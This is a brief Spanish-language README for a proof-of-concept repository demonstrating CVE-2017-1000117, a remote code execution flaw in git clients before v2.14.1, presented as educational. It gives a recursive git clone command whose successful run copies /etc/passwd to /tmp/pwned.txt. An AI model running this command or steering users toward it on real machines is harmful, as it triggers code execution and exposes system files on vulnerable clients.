
Exploit de prueba de concepto para CVE-2017-1000117, una vulnerabilidad de ejecución remota de código en clientes de git anteriores a v2.14.1, que demuestra la explotación de clonación recursiva con fines educativos.
Repositorio GIT de prueba para el PoC de git-client-rce ( CVE-2017-1000117 )
https://marc.info/?l=git&m=150238802328673&w=2
Este CVE afecta a todos los clientes de git < v2.14.1
Ejecute lo siguiente en el sistema de prueba para ver el PoC :
$git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git
La ejecución exitosa resultará en copiar el contenido de /etc/passwd a /tmp/pwned.txt